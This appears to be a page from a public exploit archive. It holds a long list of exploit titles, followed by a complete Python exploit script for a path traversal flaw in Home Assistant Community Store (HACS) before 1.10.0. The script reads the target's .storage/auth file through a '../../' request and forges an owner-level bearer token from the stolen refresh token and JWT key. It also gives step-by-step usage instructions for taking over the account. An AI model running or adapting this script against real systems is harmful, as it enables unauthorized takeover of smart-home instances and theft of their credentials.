
12 changes to exploits/shellcodes Apache - Arbitrary Long HTTP Headers Denial of Service (Perl) Apache - Arbitrary Long HTTP Headers (Denial of Service) Microsoft Internet Explorer - Denial of Service (11 bytes) Microsoft Internet Explorer - Denial of Service Apache - Arbitrary Long HTTP Headers Denial of Service (C) Apache - Arbitrary Long HTTP Headers Denial of Service phpBB 2.0.15 - Register Multiple Users (Denial of Service) (Perl) phpBB 2.0.15 - Register Multiple Users (Denial of Service) (C) phpBB 2.0.15 - Register Multiple Users (Denial of Service) XChat 2.6.7 (Windows) - Remote Denial of Service (PHP) XChat 2.6.7 (Windows) - Remote Denial of Service (Perl) XChat 2.6.7 (Windows) - Remote Denial of Service Opera 9 IRC Client - Remote Denial of Service (Python) Opera 9 IRC Client - Remote Denial of Service Xfire 1.6.4 - Remote Denial of Service (Perl) Xfire 1.6.4 - Remote Denial of Service Microsoft Windows - NAT Helper Components Remote Denial of Service (Perl) Microsoft Windows - NAT Helper Components Remote Denial of Service Apple CFNetwork - HTTP Response Denial of Service (Ruby) Apple CFNetwork - HTTP Response Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service (Python) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP Hosting Directory 2.0 - Database Disclosure (Python) PHP Hosting Directory 2.0 - Database Disclosure Ascend R 4.5 Ci12 - Denial of Service (C) Ascend R 4.5 Ci12 - Denial of Service (Perl) Ascend R 4.5 Ci12 - Denial of Service BulletProof FTP Client 2010 - Buffer Overflow (SEH) (Python) BulletProof FTP Client 2010 - Buffer Overflow (SEH) RedHat 6.2 Restore and Dump - Local Privilege Escalation (Perl) RedHat 6.2 Restore and Dump - Local Privilege Escalation Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Bash) Apple Mac OSX Adobe Version Cue - Local Privilege Escalation Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Perl) Apple Mac OSX Adobe Version Cue - Local Privilege Escalation ARPUS/Ce - Local Overflow (setuid) (Perl) ARPUS/Ce - Local Overflow (setuid) Xmame 0.102 - 'lang' Local Buffer Overflow (C) Xmame 0.102 - 'lang' Local Buffer Overflow CoolPlayer 2.19 - '.Skin' Local Buffer Overflow (Python) CoolPlayer 2.19 - '.Skin' Local Buffer Overflow Browser3D 3.5 - '.sfs' Local Stack Overflow (C) Browser3D 3.5 - '.sfs' Local Stack Overflow (Perl) Browser3D 3.5 - '.sfs' Local Stack Overflow CastRipper 2.50.70 - '.m3u' Universal Stack Overflow (Python) CastRipper 2.50.70 - '.m3u' Universal Stack Overflow Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation (Python) Adobe Acrobat 9.1.2 NOS - Local Privilege Escalation Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow (Perl) Soritong 1.0 - Universal Buffer Overflow (Python) Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow (Python) Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow Soritong 1.0 - Universal Buffer Overflow Mini-stream Ripper 3.0.1.1 - '.pls' Universal Buffer Overflow Apple Mac OSX 10.8.4 - Local Privilege Escalation (Python) Apple Mac OSX 10.8.4 - Local Privilege Escalation BulletProof FTP Client 2010 - Local Buffer Overflow (SEH) (Ruby) BulletProof FTP Client 2010 - Local Buffer Overflow (SEH) Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032) (C#) Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Local Privilege Escalation (MS16-032) 10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP) 10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH) (ROP) B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter) B64dec 1.1.2 - Buffer Overflow (SEH Overflow + EggHunter) 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH_DEP_ASLR) 10-Strike Bandwidth Monitor 3.9 - Buffer Overflow (SEH) (ASLR + DEP Bypass) Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (PHP) Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl) Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure Microsoft Internet Explorer - 'VML' Remote Buffer Overflow (SP2) (Perl) Microsoft Internet Explorer - 'VML' Remote Buffer Overflow (SP2) Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070) (Python) Microsoft Windows - 'NetpManageIPCConnect' Remote Stack Overflow (MS06-070) 3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode (Perl) 3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Python) WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow (Perl) WarFTP 1.65 (Windows 2000 SP4) - 'USER' Remote Buffer Overflow 3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl) 3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Perl) OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH (Python) OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable PRNG Brute Force SSH Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution (Python) Fonality trixbox 2.6.1 - 'langChoice' Remote Code Execution IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (C) IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow BIND 9.x - Remote DNS Cache Poisoning (Python) BIND 9.x - Remote DNS Cache Poisoning Microsoft Internet Explorer 7 - Memory Corruption (MS09-002) (Python) Microsoft Internet Explorer 7 - Memory Corruption (MS09-002) EFS Easy Chat Server 2.2 - Authentication Request Buffer Overflow (Perl) EFS Easy Chat Server 2.2 - Authentication Request Buffer Overflow Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP) Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow (Perl) Apple QuickTime 7.2/7.3 - RTSP Buffer Overflow Endian Firewall < 3.0.0 - OS Command Injection (Python) Endian Firewall < 3.0.0 - OS Command Injection AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (C) AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution (Perl) AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution phpBB 2.0.12 - Change User Rights Authentication Bypass (C) phpBB 2.0.12 - Change User Rights Authentication Bypass Maxwebportal 1.36 - 'Password.asp' Change Password (3) (Perl) Maxwebportal 1.36 - 'Password.asp' Change Password (2) (PHP) Maxwebportal 1.36 - 'Password.asp' Change Password (3) Maxwebportal 1.36 - 'Password.asp' Change Password (2) phpStat 1.5 - 'setup.php' Authentication Bypass (Perl) phpStat 1.5 - 'setup.php' Authentication Bypass SimpleBBS 1.1 - Remote Command Execution (C) SimpleBBS 1.1 - Remote Command Execution DataLife Engine 4.1 - SQL Injection (Perl) DataLife Engine 4.1 - SQL Injection (PHP) DataLife Engine 4.1 - SQL Injection cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation (PHP) cPanel 10.8.x - 'cpwrap' via MySQLAdmin Privilege Escalation Fuzzylime CMS 3.01 - 'poll' Remote Code Execution (PHP) Fuzzylime CMS 3.01 - 'poll' Remote Code Execution (Perl) Fuzzylime CMS 3.01 - 'poll' Remote Code Execution webSPELL 4.2.0d (Linux) - Local File Disclosure (C) webSPELL 4.2.0d (Linux) - Local File Disclosure Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python) Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload (Python) WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload PHPMailer < 5.2.18 - Remote Code Execution (Bash) PHPMailer < 5.2.18 - Remote Code Execution (PHP) PHPMailer < 5.2.18 - Remote Code Execution PHPMailer < 5.2.18 - Remote Code Execution (Python) PHPMailer < 5.2.18 - Remote Code Execution WordPress Core 4.7.0/4.7.1 - Content Injection (Python) WordPress Core 4.7.0/4.7.1 - Content Injection Wordpress Plugin Contact Form 7 5.3.1 - Unrestricted File Upload BloofoxCMS 0.5.2.1 - 'text' Stored Cross Site Scripting Online Grading System 1.0 - 'uname' SQL Injection Quick.CMS 6.7 - Remote Code Execution (Authenticated) Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover MyBB Hide Thread Content Plugin 1.0 - Information Disclosure Simple Public Chat Room 1.0 - Authentication Bypass SQLi Simple Public Chat Room 1.0 - 'msg' Stored Cross-Site Scripting SonicWall SSL-VPN 8.0.0.0 - 'shellshock/visualdoor' Remote Code Execution (Unauthenticated)
86 lines
No EOL
3.2 KiB
Python
Executable file
86 lines
No EOL
3.2 KiB
Python
Executable file
# Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
|
|
# Date: 2021-01-28
|
|
# Exploit Author: Lyghtnox
|
|
# Vendor Homepage: https://www.home-assistant.io/
|
|
# Software Link: https://github.com/hacs/integration
|
|
# Version: < 1.10.0
|
|
# Tested on: Raspbian + Home Assistant 2021.1.0
|
|
# Blog post: https://lyghtnox.gitlab.io/posts/hacs-exploit/
|
|
|
|
# STEP 1: Run the exploit (python3 exploit.py host port)
|
|
# STEP 2: Copy the token printed and set in your browser's local storage with
|
|
# the key `hassTokens`
|
|
|
|
import requests
|
|
import jwt
|
|
import json
|
|
import argparse
|
|
|
|
|
|
class HA:
|
|
def __init__(self, ip, port):
|
|
self.ip = ip
|
|
self.port = port
|
|
|
|
def retrieveFile(self, f):
|
|
url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'
|
|
with requests.Session() as s:
|
|
r = requests.Request(method='GET', url=url)
|
|
prep = r.prepare()
|
|
prep.url = url
|
|
try:
|
|
r = s.send(prep, verify=False)
|
|
except requests.exceptions.ConnectionError:
|
|
return
|
|
if r.status_code == 400 or r.status_code == 404:
|
|
return
|
|
return r
|
|
|
|
def craftToken(self):
|
|
f = self.retrieveFile('.storage/auth').json()
|
|
|
|
# Find owner
|
|
for user in f['data']['users']:
|
|
if user['is_owner']:
|
|
self.owner = user['id']
|
|
break
|
|
else:
|
|
print("No owner found. Using first account")
|
|
self.owner = f['data']['users'][0]['id']
|
|
|
|
for token in f['data']['refresh_tokens']:
|
|
if self.owner == token['user_id']:
|
|
encoded_jwt = jwt.encode({'iss': token['id']},
|
|
token['jwt_key'],
|
|
algorithm="HS256")
|
|
self.token = {'access_token': encoded_jwt,
|
|
'token_type': 'Bearer',
|
|
'refresh_token': token['token'],
|
|
'expires_in': 1800,
|
|
'hassUrl': f"http://{self.ip}:{self.port}",
|
|
'clientId': token['client_id']}
|
|
return self.token
|
|
|
|
|
|
if __name__ == "__main__":
|
|
parser = argparse.ArgumentParser(description="Exploit a vulnerability in \
|
|
HACS < 1.10.0 to gain admin access to an Home Assistant instance.")
|
|
parser.add_argument("host", type=str, help="IP of the HASS instance")
|
|
parser.add_argument("port", type=int, help="port of the HASS instance")
|
|
args = parser.parse_args()
|
|
|
|
r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(
|
|
ip=args.host,
|
|
port=args.port))
|
|
if r.status_code != 404:
|
|
print("HACS found! Testing vulnerability...", end='', flush=True)
|
|
ha = HA(args.host, args.port)
|
|
if ha.retrieveFile('configuration.yaml'):
|
|
print(": VULNERABLE")
|
|
token = ha.craftToken()
|
|
if token:
|
|
print(f"Use the following 'hassTokens': {json.dumps(token)}")
|
|
else:
|
|
print("Unable to craft token")
|
|
else:
|
|
print(": Not vulnerable") |